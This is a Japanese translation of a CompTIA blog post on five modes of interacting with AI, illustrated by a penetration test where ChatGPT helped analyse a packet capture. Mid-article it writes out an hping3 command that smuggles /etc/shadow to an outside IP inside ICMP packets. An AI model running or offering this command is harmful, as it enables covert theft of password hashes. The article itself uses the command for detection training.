Skip to main content

AI との対話: 副操縦士からエージェント、そしてその先まで

James Stanger博士、チーフテクノロジーエバンジェリスト、CompTIA

本サイト上のコンテンツは、参照目的だけのために、英語の原本から翻訳されたものです。また、本サイト上のコンテンツの一部は機械翻訳されたものです。日本語版と英語版の間に何らかの齟齬がある場合には、英語版が優先されます。
当社は改善のためのあらゆる努力を行いますが、翻訳の正確性及び信頼性は保証せず、当社に故意または重大な過失がある場合を除き、不正確性又は遺漏により生じる損失又は損害に責任を負わないものとします。

最近のCompTIA Building AI Strategy レポートでは、図1に示すように、あらゆる規模の組織が最適なAI/人間相互作用を決定しようとしていることがわかりました。私は友人のロバート・ウェニアにAIとの対話の話題を持ち出しました。彼はアストラゼネカのクラウドおよびインフラストラクチャのグローバル責任者です。彼は人間とAIの相互作用を専門としています。たとえば、彼はアストラゼネカの研究者が研究を実施できるように、最高のハードウェア、ソフトウェア、データを調達するのを支援しています。

Figure 1: Organizational priorities when working with AI

図1:AIを扱う際の組織の優先事項

ボブは、多くの人がAIを使っている一方で、その具体的な使い方をよく理解していないと指摘してくれました。私は彼に、AIを使うときはいつでも、ほとんどコンパニオンとして使っていると言いました。たとえば、読む時間がないデータをふるいにかけるために使用します。また、コードの作成や予備調査にも使用しました。彼は、4 つの AI の「モダリティ」のうち 3 つを概説しただけだと答えました。彼がモダリティとはどういう意味なのかわかりませんでした。しかし、彼が私に説明してくれたら、みんなに彼らを知ってもらうのは本当に良い考えだと思いました。AI の使用についての話のすべてに対して、誰もがインタラクションの意味を知っておくべきだと思いました。

最初の 4 つの AI モダリティ

ボブ氏によると、AI の対話モードには次のようなものがあります。

    1. 発見: ここで、生成 AI を使用して一般的な知識を習得します。生成AIツールにちょっとした調査を依頼するたびに(例:「CompTIAとは誰ですか?」)、あなたはAIの発見に取り組んでいます。
    2. 副操縦士: 生成AIツールを使用してコンテンツを要約します。たとえば、Zoom セッションや特に長い記事を AI に要約させたことがある場合は、AI の副操縦士に従事したことになります。Microsoft Co-Pilot を使用する必要はありません。さまざまなツールを使用できます。
    3. 生産: 生成AIツールを使って何かを作る。その「何か」には、コード、画像、ビデオ、または音楽が含まれます。空は限界です!
    4. エージェント: 特定の目標を達成するために環境内で自律的に動作するソフトウェアプログラムの使用。エージェントは基本的に独立した、または場合によっては半独立した労働者です。条件を評価し、決定を下し、行動を起こし、時間の経過とともに学習することさえできます。たとえば、サイバーセキュリティ アナリストとして働いている私の友人は、エージェントを定期的に使用して、パケット キャプチャで特定のテキスト文字列と IP アドレスを検索しています。これは、たとえば ChatGPT を使用してパケット キャプチャを副操縦するのとは異なります。エージェントを使用すると、タスクを完了して報告するための自律的なツールが解放されます。

5 番目の AI モダリティ

AIの相互作用には、AIを使用してデータを読み取り、将来の状況や現実をモデル化するという別の形態があると私は主張します。たとえば、Amazon などの小売業者に購入に基づいて推奨事項を提供してもらったことがある場合は、予測 AI と対話したことがあるでしょう。

ですから、ボブは4つあると感じていますが、私は5つあると言います。人間とAIの相互作用は進化し続けているので、さらなるニュアンスが発見されるのではないかと想像しています。しかし、今のところ、これらは主要なモードです。

専門家が AI と対話する方法: セキュリティ分析と副操縦士

それでは、セキュリティ分析という 2 つの特定の職務における AI の使用がもたらす影響について、具体的に説明しましょう。少し前に、私は 侵入テストを含むプロジェクトに参加していました。クライアントが侵入テストに与えたパラメータの一部は、誰かが機密データを社外の場所に渡すことがどれほど簡単かを判断することでした。このテストでは、同僚がhping3というツールを使ってデータを盗み出しました。

具体的には、彼は Linux システムを侵害することができ、 /etc/sh​adow ファイルの内容をネットワーク外の場所に送信したいと考えていました。このツールは「パケットフォージャー」です。これを使用すると、パケットを「ロール」し、ネットワークに送信できます。この特定のケースでは、私の同僚は、 /etc/sh​adow ファイルの内容をいくつかの ICMP パケットに埋め込み、それらのパケットを世界に送信することがいかに簡単であるかを確認したいと考えていました。そこで、私の友人は次のコマンドを作成しました。

$ sudo hping3 -I eth0 8.8.8.8 --icmp -d 100 --sign signature --file /etc/sh​adow 上記のコマンドは、 /etc/sh​adow ファイルの内容を読み取り、それらをICMPネットワークストリームに埋め込むようにhping3に指示します。その結果、hping3 は実際に /etc/sh​adow ファイルの内容を外部 IP アドレスに盗み出すことができました。図 2 に、ルート アカウント情報が送信されている Wireshark キャプチャの結果を示します。

Figure 2: Packet capture showing data egress using ICMP packets

図 2:ICMP パケットを使用したデータ出力を示すパケット キャプチャ

 

このキャプチャのパケットの大部分は ICMP パケットであることに注意してください。これは、「ping パケット」を作成するためによく使用されるプロトコルです。これは重要な詳細ですが、これについては後ほど説明します。

セキュリティアナリストとしてのAIとの対話:副操縦士

そこで、hping3 を使用した理由と、Wireshark が ICMP パケットをキャプチャする写真を紹介する理由について、少し背景を説明しましょう。組織がペネトレーションテストを行う理由はたくさんあります。主な理由の 2 つは、 セキュリティ アナリスト のスキルの向上と、セキュリティ アナリストが使用するツールの精度の向上です。

3つ目は、特定の種類の攻撃を検出する組織の能力をテストすることです。この場合、侵入テストチームは実際にデータを盗み出すことができました。しかし、同社がこの流出攻撃を発見するまでに少し時間がかかりました。これは、セキュリティチームが侵入検知ツールであるSnortをICMPトラフィックを無視するように設定していたためです。もう一つの理由は、ギガバイトのネットワークトラフィックをふるいにかけ、そのICMPトラフィックを発見するのはやや難しいことでした。

パケットキャプチャを与えられたとき、私にはあまり時間がありませんでした。副操縦士が必要でした。そこで、その厄介なパケットキャプチャをWiresharkにロードし、あちこちを探し始めました。しかし、図3と図4に示すように、手動で調べるのではなく、ChatGPTにアップロードしました。

Figure 3: Uploading a packet capture to ChatGPT

図3:ChatGPTへのパケットキャプチャのアップロード

Figure 4: Confirming that the packet capture is uploaded

図 4:パケット キャプチャがアップロードされたことの確認

その後、いつもより少しやり取りをしました。私が「コピー&ペースト(CAP)」モデルと呼んでいるものに従う代わりに、以下に示すように、いくつかの質問を始めました。

Figure 5: ChatGPT’s initial analysis

図5:ChatGPTの初期分析

この一連の調査は私をそれほど遠くまで得られませんでした。そこで、私は副操縦士ともう少し協力することにしました。これには、次の質問とコマンドが含まれていました。

  • このパケットキャプチャでは、他にどのようなプロトコルが使用されていますか?

  • このキャプチャにICMPパケットはありますか。

  • このパケットキャプチャのICMPパケットを調査してください。具体的には、パケットのデータ部分を読み取ります。何を見つけましたか?

興味深いことに、ChatGPT は、このパケット キャプチャには ICMP パケットがまったく含まれていないと主張しました。以下の図6を読めば、1つもありません。問題です。なぜでしょうか。上の図 1 を見ると、明らかに ICMP パケットが大量に入っていることがわかります。だから、私はもっとよく知っていました。しかし、副操縦士は頑固でした。

Figure 6: ChatGPT not seeing any ICMP packets

図6:ChatGPTがICMPパケットを認識しない

 

副操縦士が機能する理由 – 自分が何をしているのかを知っている場合

図 7 に示すように、キャプチャ内の特定のパケット (パケット 31) を確認するように ChatGPT に指示しました。しかし、ChatGPT は ICMP はまったく関与していないと断固として主張しました。

Figure 7: ChatGPT insisting that no ICMP was in the capture

図7:キャプチャにICMPが含まれていないと主張するChatGPTは

 

副操縦士から、私が見たものが見えないと言われてイライラしました。ChatGPT が ICMP パケットを見つけられなかった理由についての理論があります。私の同僚が hping3 ツールを使用して ICMP パケットを作成したことを思い出してください。明らかに、ChatGPT はどういうわけかこれらのカスタム作成されたパケットを理解できませんでした。パケットを「独自にロール」すると、特定のツールがパケットが何であるかをよく判断できないことがあります。しかし、すべてが失われたわけではありません:それは、私がまったく異なる一連の質問をし始めたからです。

  • このパケットキャプチャでデータエグレスの証拠は見つかりましたか?

  • 各ICMPパケットにはどのような機密データが含まれていますか?

図 8 に示すように、状況が変化していることがわかります。突然、私の ChatGPT 副操縦士は ICMP パケットを確認できるようになり、データが実際に社外に送信されていることを発見することができました。

Figure 8: Data egress discovered

図 8: 検出されたデータ エグレス

 

次に、図9に示すように、最後の質問をしました。

Figure 9: Evidence of account compromise

図 9: アカウント侵害の証拠

 

さて、ChatGPT を下手なセキュリティ アナリストおよび副操縦士であると非難するのは、まったく公平ではありません。結局のところ、ChatGPT は標準のパケット キャプチャを読み取るようにトレーニングされています。セキュリティアナリストとしてのトレーニングは受けていません。そこで、いくつかの弱点を発見しました。しかし、いくつかの強みも発見しました:適切にプロンプトが提示されると、ChatGPTは多くの人間が見つけることができないパターンを非常に迅速に特定することができました。

私がしなければならなかったのは、それらの強みを発見するために適切な質問をすることだけでした。これは学ぶべき重要な教訓だと思います:ChatGPTは、私が正しい質問をする限り、見つけたデータの概要を私に提供することができました。これは、 サイバーセキュリティの仕事に関する人々の質問のいくつかに答え始めていると思います。生成AIツールがサイバーセキュリティアナリストに取って代わるかどうか、よく聞かれます。少なくとも今のところ、「ノー」と言っても過言ではありません。生成 AI はアナリストに役立ちますか?はい!しかし、彼らがそれと適切に対話し、適切に訓練されている場合に限ります。AI の友達とさまざまな方法でうまく仕事をしたり遊んだりすることを学ぶことを強くお勧めします – それはあなたが新しい一連のインタラクティブなスキルを習得するのに役立つことがわかります!